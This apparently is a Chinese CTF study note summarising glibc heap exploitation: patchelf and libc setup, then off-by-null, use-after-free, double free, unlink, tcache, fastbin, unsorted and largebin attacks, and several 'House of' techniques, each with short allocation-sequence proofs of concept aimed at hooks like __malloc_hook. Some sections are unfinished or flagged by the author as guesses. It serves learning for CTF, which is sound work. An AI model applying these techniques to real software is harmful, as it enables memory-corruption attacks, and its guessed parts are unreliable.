0%

Pwn - Heap Exploit Summary

总结一下 Heap 的相关内容,便于后续调用

Github: ptmalloc 源码(只有 malloc 部分)

source code compilation && all libc debs

[0] 目录

  1. Patchelf的使用方式
  2. 详解 ‘申请与释放 chunk’
  3. chunk Extend and Overlapping
  4. Use After Free
  5. Double Free
  6. Unlink
  7. Series of Bin
  8. Series of House

[1] Patchelf的使用方式

在本地调试堆题时,不同的 libc 版本会有不同的 heap 管理器来管理 heap,因此我们需要将本地的 elf 文件的链接部分 patch 一下,使其与远程链接的 libc 文件保持一致。

[1-1] 确认libc

有时题目只给一个 libc.so.6,此时 patchelf 后程序会因为缺少 ld 文件而无法正常运行,因此我们需要通过这个 libc.so.6 来确认程序使用的 libc 版本,然后自己下载对应 libc 包并 patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

libc = ELF('./libc.so.6')
puts_offset = libc.sym['puts']
read_offset = libc.sym['read']
printf_offset = libc.sym['printf']

print('puts_offset ---> ',hex(puts_offset))
print('read_offset ---> ',hex(read_offset))
print('printf_offset ---> ',hex(printf_offset))

'''
puts_offset ---> 0x84420
read_offset ---> 0x10dfc0
printf_offset ---> 0x61c90

# puts ---> 420
# read ---> fc0
# printf ---> c90
'''

将打印出来的三个偏移量的后三位,拿到 libcSearcher 去查即可

[1-2] libc 包的下载

patchelf没有的包可以在这里下载

1
2
3
4
5
6
7
# 以下操作均在文件夹 glibc-all-in-one 中完成
# 查看有什么版本的 libc 可以下载
./update_list // 更新 list
cat list

# 下载所需要的 libc 包
./download 2.35-0ubuntu3_amd64

有时我们需要的 libc 包不在 list 中,我们可以自己尝试解构命令来下载。

1
2
3
4
5
# 访问https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/,查看所有可以下载的 libc 版本
# http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/ 也可以

# 下载压缩包(到文件夹glibc-all-in-one/debs)以后用 extract 命令解压缩
./extract debs/libc6_2.26-0ubuntu2_i386.deb /tmp/test

[1-3] patch elf文件

识别需要 patch 的文件

1
2
3
4
5
6
[path/to/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64]
└─$ ls
......

找到以下文件
ld-linux-x86-64.so.2 # ld-2.23.so 也行

tip1:高版本的libc库没有 ld-2.23.so 这种文件,但它与 ld-linux-x86-64.so.2 等价,都指向相同的动态链接器文件,他们实际上是同一个文件的不同名称。

tip2:

1
2
3
4
5
6
7
8
9
10
11
12
# 被patch的elf文件: Pwn

# 配置动态链接器 ld.so
patchelf --set-interpreter /mnt/e/EdgeDownload/libcTools/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 pwn
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn

# 配置链接库
patchelf --set-rpath /mnt/e/EdgeDownload/libcTools/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/ pwn

# 配置动态链接器与动态链接库
patchelf --set-interpreter /mnt/e/EdgeDownload/libcTools/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/ld-2.23.so --replace-needed libc.so.6 /mnt/e/EdgeDownload/libcTools/glibc-all-in-one/libs/libc6_2.23-0ubuntu11.3_amd64/libc.so.6 pwn
patchelf --set-interpreter ./ld-2.23.so --replace-needed libc.so.6 ./libc.so.6 pwn

[1-4] 恢复 debug symbol

[1-4-1] patchelf list 中有相关包

其实没有相关包的话用最近版本的 libc 也能.debug

1
2
3
4
5
6
7
# 下载对应 libc 包
./download xxx

# 复制 /libs/2.xx-xubuntuxx_xxx/.debug/.build-id 的绝对路径,在gdb时
loadfolder /path/to/libs/2.xx-xubuntuxx_xxx/.debug/.build-id

# 如果 download 拉不下来,去对应网站找带dbg(如libc6-dbg_2.23-0ubuntu3_i386.deb)的包下载下来,将/data/usr/lib/debug/.build-id复制到 /libs/2.xx-xubuntuxx_xxx/.debug 下即可

[1-4-2] list 中没有相关包

查看这个教程编译源码来恢复符号

docker 恢复符号

[1-5] 恢复源码(与patchelf关系不大)

看这篇

[2] 详解 ‘申请与释放 chunk’(未完成)

[2-1] 申请 chunk

  1. 如果是第一次申请,则 malloc 一块内存来存放 tcache_perthread_struct

  2. 查看要申请的 chunk 的大小,记作 SIZE

  3. 检查各种 bin

    1. (libc2.26及之后) SIZE 属于 [0x0,small bin size),检查 tcachebin,有合适的 chunk 则返回
    2. 根据版本有不同选择
      1. (libc2.26之前)SIZE 属于 [0x0,0x78],检查 fastbins,有合适的 chunk 则检查 size 域是否正确,正确则返回
      2. (libc2.26及之后)SIZE 属于 [0x0,0x78],将对应 fastbin 一整条链挪进 tcachebin 的对应链上,并取出 newest_chunk 返回
    3. smallBin largeBin 还没学
    4. 检查 unsortedBin,如果 SIZE 小于 “unsortedbin 的某个 chunk 的 size”,则:
      1. 以0x10为基本单位切割出申请的 chunk 并返回,剩下的部分叫做 last remainder chunk
  4. 检查 topchunk,如果 SIZE 小于 “topchunk 的 size”,则:
    1. 以0x10为基本单位切割出申请的 chunk 并返回
  5. 用 Brk 再拉几页内存出来,还没学

[2-2] 释放 chunk

  1. 查看要释放的 chunk 的大小,记作SIZE
1
2
3
4
# 猜测,尚不确定
n. 检查 prev_inuse 位,若为0,则:
1. 如果 chunk 不在 fastbin/tcachebin,则前向合并,并继续递归检验 prev_inuse
2. 如果 chunk 在 fastbin/tcachebin,则获取前一个 chunk 的 size,并存到 prev_size 域

[3] chunk Extend and Overlapping

[3-1] 分类

本质是通过修改 chunk_header 来实现用 chunk1 控制 chunk2 的内容的效果。分为前向和后向两种

[3-1-1] 后向 Overlap

堆区模型:

1
2
---chunk1(0x21)---
---chunk2(0x21)---

本质:修改低地址 chunk1 的 size 域,在修改 chunk1 内容时会越界修改掉 chunk2 的内容

[3-1-2] 前向 Overlap

堆区模型:

1
2
3
4
5
---chunk1(0x81)---
---chunk2(0x21)---
---chunk3(0x21)---
---chunk4(0x81)---
---chunk5(0x21)---防止 top_chunk 合并

本质:修改高地址 chunk4 的 pre_inuse 域和 prev_size 域,通过 free 时 bins 的机制来进行前向合并 chunk1 ,从而再次 malloc 时可以控制中间的 chunk2 与 chunk3

[3-2] 具体利用手法

[3-2-1] off-by-null

[3-2-1-1] 概述

off-by-null 指的是程序在写入堆的时候,会在输入字符的最后用'\x00'截断

通过申请 xxx8h 大小的 chunk,当我们输入 xxx8 个字节时,程序会将下一个 chunk 的 size 域的低一个字节覆盖为0,

这样的操作会让 prev_inuse 位置零,使程序误以为前一个 chunk 已经被释放,从而与前 n 个 chunk 发生合并

[3-2-1-2] POC

1
2
3
4
5
6
7
8
9
10
11
12
alloc(0x80) # 0 0x91 
alloc(0x18) # 1 0x21
alloc(0x80) # 2 0x91
alloc(0x10) # 3 0x21 防止合并
payload = b'a'*0x10 + p64(0xb0) # 0x20 + 0x90 = 0xb0
edit(1,payload)
free(2)

# show(0) 可以 leak main_arena

# alloc(4,0xa0) 可以切割 chunk0-chunk2,从而修改 chunk1,
# 进而造成 tcachebin poisoning / fastbin attack

[4] Use After Free

[4-1] 概述

libc2.26 - libc2.31,主要是 tcachebin UAF

见 Kinds of Bin -> Tcachebin -> UAF

[5] Double Free

[5-1] 概述

libc2.27之前,主要是 fastbin double free

见 Kinds of Bin -> Fastbin

libc2.27-2.28,主要是 tcachebin double free

libc2.29-libc2.31,tcachebin加入了检查机制,所以仍然考虑用 fastbin/smallbin

见 Kinds of Bin -> Tcachebin

[6] Unlink

[6-1] 利用条件

  1. free 的 chunkC 前后 chunk 的 fd/bk 可以被修改

    1. UAF,free 以后修改 fd/bk

    2. 堆溢出,伪造 chunk,修改 fd/bk 的同时修改 chunk 的 prev_size 和 prev_inuse

  2. 没见过太多案例不太会概括这一点

    1. pie 没开,bss 段的 heap_list 可以被拿来当做 fd/bk

[6-2] 原理

ctfwiki 上的 FD BK fd bk 感觉写的乱七八糟的,重新整理一下思路

unlink 概括来讲,就是利用 free 时的机制,实现任意地址写非任意值的技术

  1. 在释放 size 大于 smallbin 最小值的 chunkC 时,ptmalloc 会检查 chunkC 物理相邻的前后两个 chunk 是否正在被使用,如果没被使用,则会触发前向/后向合并,从而触发 unlink

    1. 前向合并:chunkC 的 prev_size 为前一个 chunk 的 size,且 chunkC 的 prev_inuse 位置零

    2. 后向合并:chunkC 的后一个 chunk 已经在 binlist 当中

[6-2-2] 古早版本

假设在一个双向链表 bin 中,有 BK <=> CUR <=> FD

三个 chunk 的关系为

1
2
3
4
BK.fd == &(CUR.prev_size)
CUR.bk == &(BK.prev_size)
CUR.fd == &(FD.prev_size)
FD.bk == &(CUR.prev_size)

古早的版本中,unlink 的具体过程为

1
2
CUR.bk->fd = CUR.fd # CUR 的后一个 chunk 的 fd 指针指向 CUR 的前一个 chunk
CUR.fd->bk = CUR.bk # CUR 的前一个 chunk 的 bk 指针指向 CUR 的后一个 chunk

如果我们修改 CUR 的 fd 和 bk 指针,就可以实现 Any address write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// SIZE 在32位为 4,64位为8
// target_addr + 0*SIZE = &(fakechunk.prev_size)
// target_addr + 1*SIZE = &(fakechunk.size)
// target_addr + 2*SIZE = &(fakechunk.fd)
// target_addr + 3*SIZE = &(fakechunk.bk)

// 修改 CUR 的 fd 和 bk 指针
CUR.fd = target_addr - 3*SIZE
CUR.bk = expect_value

// CUR.fd->bk = CUR.bk
*(target_addr - 3*SIZE + 3*SIZE) = expect_value + 2*SIZE

// CUR.bk->fd = CUR.fd ---> 要求 expect_value + 8 指向的内存可写
*(expect_value + 2*SIZE) = target_addr - 3*SIZE

[6-2-3] 加入 check 以后

  1. check1

    1. check

      1
      2
      3
      4
      5
      6
      7
      8
      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

      // 省流版:
      // CUR 的 fd 指向的 chunk 的 bk 必须存的是 CUR 的地址
      // CUR 的 bk 指向的 chunk 的 fd 必须存的是 CUR 的地址
      if ( !( CUR.fd->bk == &(CUR.prev_size) && CUR.bk->fd == &(CUR.prev_size) ) )
      malloc_printerr(...)
    2. bypass

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      // 让 CUR 的 fd 和 bk 指针都指向 CUR 自己
      CUR.fd = &(CUR.prev_size)
      CUR.bk = &(CUR.prev_size)

      // check 时
      CUR.fd->bk = (&(CUR.prev_size))->bk = CUR
      CUR.bk->fd = (&(CUR.prev_size))->fd = CUR

      // unlink
      CUR.fd->bk = (&(CUR.prev_size))->bk = &(CUR.prev_size) + 2*SIZE
      CUR.bk->fd = (&(CUR.prev_size))->fd = &(CUR.prev_size) - 3*SIZE

      这样虽然不能实现任意地址写,但是也可以让 CUR 的 fd 和 bk 指针指向不正确的位置

[7] Series of Bin

[7-1] Tcachebin

[7-1-1] 概述

  1. Tcachebin 为 LIFO 单向链表,如下
1
2
Tcachebin: (头节点)newest_chunk(first out) -> ... 
... -> (尾节点)oldest_chunk(last out)

[7-1-2] Leak

[7-1-3] Write

[7-1-3-1] UAF

Libc: 2.26 - 2.31

应用条件:

  1. UAF

相关特性:

  1. Tcachebin 跟筛子没什么区别,通过 UAF 修改 newest_chunk 的 fd 指针为 Any address,再通过两次 malloc 就可以在 Any address 处申请到一个 chunk 供我们使用

POC:

1
2
3
4
5
6
7
8
9
10
11
12
1. alloc(chunk0)
alloc(chunk1)

2. free(chunk0)
free(chunk1)
# 做完这一步,tcachebin[size]: chunk1 -> chunk0

3. edit(chunk1,payload=address_to_malloc)
# 做完这一步,tcachebin[size]: chunk1 -> address_to_malloc

4. alloc(chunk2) # chunk2 = chunk1
alloc(chunk3) # chunk3 = address_to_malloc

例题:

  1. 杭电hgame2024-week2 Elden Ring Ⅱ

[7-1-3-2] Stash Double Free

Libc: 2.27 - 2.31

应用条件:

  1. 7个 tcachebin chunk,2个 fastbin chunk,bins 构造完成后至少可以 alloc 10次

  2. free 后还能再 free 同一个 chunk

相关特性:

  1. 2.27之后,tcachebin 加入了 key 值检验,因此直接劫持 tcachebin 链比较困难(需要伪造 key 值)。

  2. (具体是 stash 机制,我是按下面这样理解的)但当 tcachebin 某一条链的 chunk 全部取出,且对应大小的 fastbin 上仍有 chunk,ptmalloc 会将 fastbin 对应链上的全部 chunk 取出,并按 fastbin 顺序装载到 tcachebin 中。此时 ptmalloc 不会检测 fastbin 的全部 chunk 是否合法,并且 ptmalloc 还会为每个 chunk 构造合法 key 值,所以我们可以先劫持 fastbin 链,然后清空 tcachebin 后劫持 tcachebin 链。

  3. 在检查 key 值之后,从 tcachebin 中申请 chunk 的检测机制比较薄弱,不需要考虑 fd 指向的地址的 size 域是否合法

POC:

  1. 申请9个同样大小的 chunk,依次释放,再释放一次 chunk7

    1
    2
    3
    4
    5
    6
    7
    for i in range(9):
    alloc(i) # 0-6 tcahcebin chunks || 7,8 fastbin chunks

    for i in range(9):
    free(i)

    free(7) # fastbin: chunk7 -> chunk8 -> chunk7
  2. 申请7个 chunk,清空 tcachebin 链。再申请 chunk7,将 fastbin 中的所有 chunk 转移到 tcachebin 中.

    1
    2
    3
    4
    5
    for i in range(7):
    alloc(i)

    alloc(idx=7,content=address_to_alloc)
    # 此时 tcachebin: chunk8 -> chunk7 -> address_to_alloc
  3. 申请3个 chunk,此时我们就可以通过改变 chunk9 的值,来 write 任意位置了.

    1
    2
    3
    alloc(8)
    alloc(7)
    alloc(9,content=anything_to_write)

例题:

  1. 杭电hgame2024-week2 fastnote

[7-2] Fastbin

[7-2-1] 概述

  1. Fastbin 为 LIFO 单向链表,如下
1
2
fastbin: (头节点)newest_chunk(first out) -> ... 
... -> (尾节点)oldest_chunk(last out)

[7-2-2] Leak

[7-2-3] Write

[7-2-3-1] Double Free

Libc: 2.27之前

应用条件:

  1. free 后还能再 free 同一个 chunk

fastbin 相关特性:

  1. free: 在 free chunk 到 fastbin 的过程中,会有以下 check:

    1. 检测这个 chunk 和尾节点是否是同一个 chunk,如果是,则触发Error in './vuln': double free or corruption (fasttop): 0x17170c0
  2. malloc: 从 fastbin 申请 chunk 时,会有以下 check:

    1. 检测这个 chunk 的 fd 指向的内存的 size 是否符合所属 fastbin,如果不属于,则触发Error in './vuln': malloc(): memory corruption (fast): 0x7f4cf12d6afe

POC:

  1. 构建 fastbin: chunk1 -> chunk2 -> chunk1

    1
    2
    3
    4
    5
    alloc(1)
    alloc(2)
    free(1)
    free(2)
    free(1)
  2. malloc(chunk1),同时修改 chunk1 的 fd, 此时 fastbin 中构造为 chunk2 -> chunk1 -> address(address 有如下选择)

    1. libc.sym[‘__malloc_hook’] - 0x23
      1
      2
      3
      pd = libc_base + libc.sym['__malloc_hook'] - 0x23
      # 注意不要把 '\n' 也当做 payload 传过去了
      alloc(1,payload=pd)
  3. malloc(chunk2), malloc(chunk1)

    1
    2
    alloc(2)
    alloc(1)
  4. malloc(address),同时修改 address 处的内容,对应'2.'中的不同选择,有不同的填充方式

    1. payload = b’a’*19 + one_gadget
      1
      2
      3
      4
      5
      6
      mallochook-0x23      prev_size      0x000000000000007f
      mallochook-0x13 0x6161616161616161 0x6161616161616161
      mallochook-0x03 0xXXXXXXXXXX616161 0x0000000000XXXXXX
      ^
      |
      正好是__malloc_hook的位置

例题

  1. BUUCTF babyheap_0ctf_2017

  2. 杭电hgame2024-week2 old_fastnote

[7-3] Unsortedbin

[7-3-1] leak

Libc: Any

应用条件:

  1. UAF

  2. alloc 至少不会覆盖 bk

当unsortedbin中有且仅有一个chunk时,

该chunk的fd和bk会指向 &main_arena + 96,

貌似libc2.31是96,libc2.23是88,

具体做题用 pwndbg 看最低四位是 0x8 还是 0x0,0x8->88,0x0->96

而这个地址可以用ida查看对应libc的 malloc_trim 函数找到,从而帮助计算 libc_base.

当然这个地址也是 &__malloc_hook + 0x10,具体看下面的代码注释.

如果我们把 unsortedbin 中唯一一个 chunk 记作 chunk0,则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 内存中的 main_arena 地址,一般为0x7f...
main_arena = chunk0.fd - 0x60

# 计算 libc 基址:
# main_arena 在 libc 中的偏移,正好等于
# __malloc_hook 的偏移 + 0x10。
# 即 &main_arena = &__malloc_hook + 0x10。
libc_base = main_arena - (ELF('./libc-2.31.so').sym['__malloc_hook'] + 0x10)

# 我们也可以直接用 IDA 打开 libc,
# 找到 __malloc_trim 函数,
# 直接在 22 行附近找到类似于
# _R15 = &dword_1ECB80 的语句,
# 这里 main_arena 的偏移就是 0x1ECB80
libc_base = main_arena - 0x1ECB80

bypass

  1. ssize_t read(int fd, void *buf, size_t nbytes)会用’\x00’填充不够 nbytes 的部分,因此我们在 alloc 或者 edit 的时候注意 nbytes = 0x08 即可,这样不会覆盖 bk 的 &main_arena

[7-3-2] write

[7-3-2-1] Direct

Libc: 2.23

相关特性:

  1. 低 libc 版本的 unsortedbin 可以像 tcachebin 一样,通过伪造链来申请一个 fake_chunk

POC:

1
2
3
4
5
# 初状态 unsortedbin --> chunk_victim  
> 此时我们令chunk_victim.bk = fake_chunk_head

# 末状态 unsortedbin --> chunk_victim --> fake_chunk
> 连续申请两个chunk即可申请到fake_chunk

[7-4] Largebin Attack

[7-4-1] 概述

Largebin 是 FIFO 的双向链表,chunk 结构为👇

1
2
3
4
5
6
7
8
9
10
+-------------------------------------------------+
| prev_size | size |0|0|1||
|------------------------|------------------------|
| fd | bk |
|------------------------|------------------------|
| fd_nextsize | bk_nextsize |
|------------------------|------------------------|
| user_data |
| . . . |
+-------------------------------------------------+

[7-4-2] leak

[7-4-3] write

[7-4-3-1] 对 libc 有要求

libc: 2.30 及以前?

[7-4-3-2] 对 libc 没要求

libc: Any

概述:

通过修改 largebin 中的 bk_nextsize 为 target_addr - 0x20,可以在 target_addr 处写一个堆地址

POC:

1
2
3
4
5
6
7
8
9
10
alloc(0x500)  // chunk1
alloc(0x10) // gap1 防止合并
alloc(0x510) // chunk2
alloc(0x10) // gap2 防止合并
free(chunk1) // chunk1 进入 unsortedbin
alloc(0x520) // chunk1 进入 largebin
free(chunk2) // chunk2 进入 unsortedbin
chunk1.bk_nextsize = target_addr - 0x20 // UAF等方法修改 chunk
alloc(0x520) // chunk2 进入 largebin,触发 largebin attack
// target_addr 处被写入 chunk2 的地址

[8] Series of House

[8-1] House of Orange

[8-1-1] 概述

HouseofOrange是在程序没有可以操控的free时,利用ptmalloc的管理机制强行制造出一个unsortedbin中的chunk的技术。

[8-1-2] 伪造chunk需求

  1. top_chunk的结束地址必须页对齐

    • 一般情况下,ptmalloc设置top_chunk为0x21000,我们申请一个0x10的chunk0后,chunk0加上chunk_head是0x20大小,此时top_chunk切割后还剩下0x20fe0大小,为了页对齐,我们伪造top_chunk的大小为0xfe0即可
  2. top_chunk.size >= MINSIZE

  3. top_chunk.size < chunk_size + MINSIZE

  4. top_chunk.prev_inuse == 1

    • 第一点中说的0xfe0要变为0xfe1

[8-2] House of Force (HOF)

[8-2-1] 概述

House of Force 是通过 topchunk 来实现任意地址写的操作。

具体来说,我们先修改 topchunk 的 size 域,接着用 malloc(c_size) 从 topchunk 切割一个 chunkF,在切割前,通过构造 malloc chunkF 时的 c_size,能改变 main_arena 中指向 topchunk 的指针为任意值,从而在切割时能在任意地址申请一个 chunk,进而实现任意地址写。

[8-2-2] 具体原理

  • 从 topchunk 申请 chunk 的具体实现是这样的,其中的代码可以这样理解(我没读源码,只是从应用角度逆推原理):

    • ⚠注:本段代码的数据全为 unsigned,也就是说,我们要申请的 chunk 的 size 即 nb 会被转化为无符号,topchunk 的 size 也是无符号的

    • victim: 获取指向目标 chunk 的指针,在这是 topchunk

    • chunksize(victim): 获取 victim 指向的 chunk 的大小

    • nb: chunk 的实际大小,malloc(size) 时 nb = request2size(size) 这个地方我也没搞清楚,主要有的时候nextchunk的prev_size域也被拿来当作chunk的一部分,就导致我不是很清楚对齐这一块怎么做的,后面仔细读一下源码再来订正

    • chunk_at_offset(victim, nb): return(victim + nb)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

House of Force 逻辑如下:

首先通过堆溢出之类的手段,改变 topchunk 的 size 域为 -1,即0xffffffffffffffff

chunkFakealloc(size) 时,通过构造 size(由于nb = request2size(size),所以构造 nb 的本质就是构造 size),切割程序会运行到如下代码

1
2
remainder      = chunk_at_offset(victim, nb);
av->top = remainder;

此时,remainder 会被赋值为 victim + nb,而下一行代码 av->top = remainder 使得 main_arena 中指向 topchunk 的指针被修改

值得注意的是,若 nb 为负数,victim + nb 会溢出,从而将 victim 修改为比 victim 自己指向的地址更低的地址。

也就是说,通过构造 nb,我们可以将 av->top 改写为 Any Address

而通过再一次的 chunkNewalloc(nb),我们就可以在 Any Address 处申请一个 chunk,进而实现任意地址写.

总而言之,在改变 topchunk 的 size 域为 -1 之后,只要我们能够精心构造 malloc(nb) 时的 nb,就可以实现任意地址写。

那么接下来的问题很显然,如何构造 nb ,也就是如何构造 size?

size 的构造

malloc 的过程中会遇到如下检查,req就是我们申请的 chunk 的大小,就是前文提到的 request2size的参数

1
2
3
// MINSIZE = 2 * SIZE_SZ
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))

其中,SIZE_SZ 在 64 位是 0x08,32 位为 0x04,因此 MINSIZE 在 64 位中是 0x10,32 位为 0x08

由于 -2 * MINSIZE 被转化为了无符号数,拿 64 位举例,req 很难超过 0xfffffffffffffff0 这么大的数字,所以这个检测是很好绕过的,或者说根本不用 care 这个检测。

接下来,req会经过如下函数,转化为要申请的 chunk 的 真实 size,也就是 nb

1
2
3
4
5
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

其中,MALLOC_ALIGN_MASK 在 64 位是 0xF 即 1111b,32位为 0x7 即 111b.

这里有点没想明白 request2size 的过程,我先假设在 malloc(size) 时,nb = request2size(req) = request2size(size)

由于 nb 都是对齐的,所以我们可以不用考虑 & ~MALLOC_ALIGN_MASK,所以 size = req = nb - SIZE_SZ - MALLOC_ALIGN_MASK

至此,我们构造出了 size,HOF结束.

[8-3] House of botcake

libc: 2.29 -

[8-3-1] 概述

由于 libc 2.29 之后加入了 tcachebin 检查机制,所以 tcachebin double free 变得没有那么好利用

但由于放入 unsortedbin 中的 chunk,再被 free 进 tcachebin 的时候检测相当薄弱

所以我们可以先把 chunk free 进 unsortedbin,再 free 进 tcachebin,当我们切割 unsortedbin 时就能修改 tcachebin 里重叠的 chunk 的 fd/bk,造成 tcachebin poisoning

[8-3-2] POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(9):
malloc(0x80) # idx0-6: tcache | idx7,8:unsorted

malloc(0x10) # idx9: 防止 unsortedbin 与 topchunk 合并

for i in range(7):
free(i) # idx0-6: tcache

free(8)
free(7) # chunk7 后向合并 chunk8

# 从 tcachebin[0x80] 取出一个 chunk,此时 tcachebin 链只剩六个 chunk
malloc(0x80)

# 把本在 unsortedbin 中的 chunk8 放入 tcachebin
free(8)

# 从 chunk7,8 切割,但实际上已经覆盖了 tcachebin chunk8 的 fd/bk 指针了
malloc(0xa0)

[8-3-3] 一些疑问

不构造 chunk 7,直接把 chunk8 放进 unsortedbin 再放进 tcachebin 中是完全可行的,但当我切割 chunk8 时就会报错 malloc(): unsorted double linked list corrupted\n

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins
0x90 [ 7]: 0x55dd5ca32690 —▸ 0x55dd5ca32570 —▸ 0x55dd5ca324e0 —▸ 0x55dd5ca32450 —▸ 0x55dd5ca323c0 —▸ 0x55dd5ca32330 —▸ 0x55dd5ca322a0 ◂— 0x0
fastbins
empty
unsortedbin
all [corrupted] // 或许跟这里有关系?
FD: 0x55dd5ca32680 —▸ 0x55dd5ca32570 ◂— 0x0
BK: 0x55dd5ca32680 —▸ 0x55dd5ca32010 ◂— 0x0
smallbins
empty
largebins
empty

目前猜测是: 直接把 chunk8 放进 tcachebin 会导致原本存在 chunk8 fd/bk 处的 &main_arena+88 被替换,导致 malloc 错误

[8-4] House of banana

具体细节可以看这篇文章

[8-4-1] 概述

当程序显式调用exit()函数时,程序会通过exit -> _dl_fini ->((fini_t) array[i]) ()这条调用链调用 array[i]()

array[i]() 是通过 _rtld_global._dl_ns._ns_loaded.l_next->l_next->l_next 定位的

通过 largebin attack,我们可以篡改_rtld_global._dl_ns._ns_loaded.l_next->l_next->l_next指针,将其值修改为我们可以控制的堆地址,

而通过在堆上伪造一个 link_map 结构体,我们可以欺骗程序,使其执行 array[i]() 时执行在结构体里放入的提权函数,进而提权

[8-4-2] POC

1
2
3
# largebin attack 修改 _rtld_global._dl_ns._ns_loaded.l_next->l_next->l_next

# 构造 fake chunk

[8-4-3] 如何构造 fake_chunk?

Pwn - IO_File and ld.so exploit summary

[8-5] House of pig

https://bbs.kanxue.com/thread-268245.htm#msg_header_h3_2

-------------文章就到这里啦!感谢您的阅读XD-------------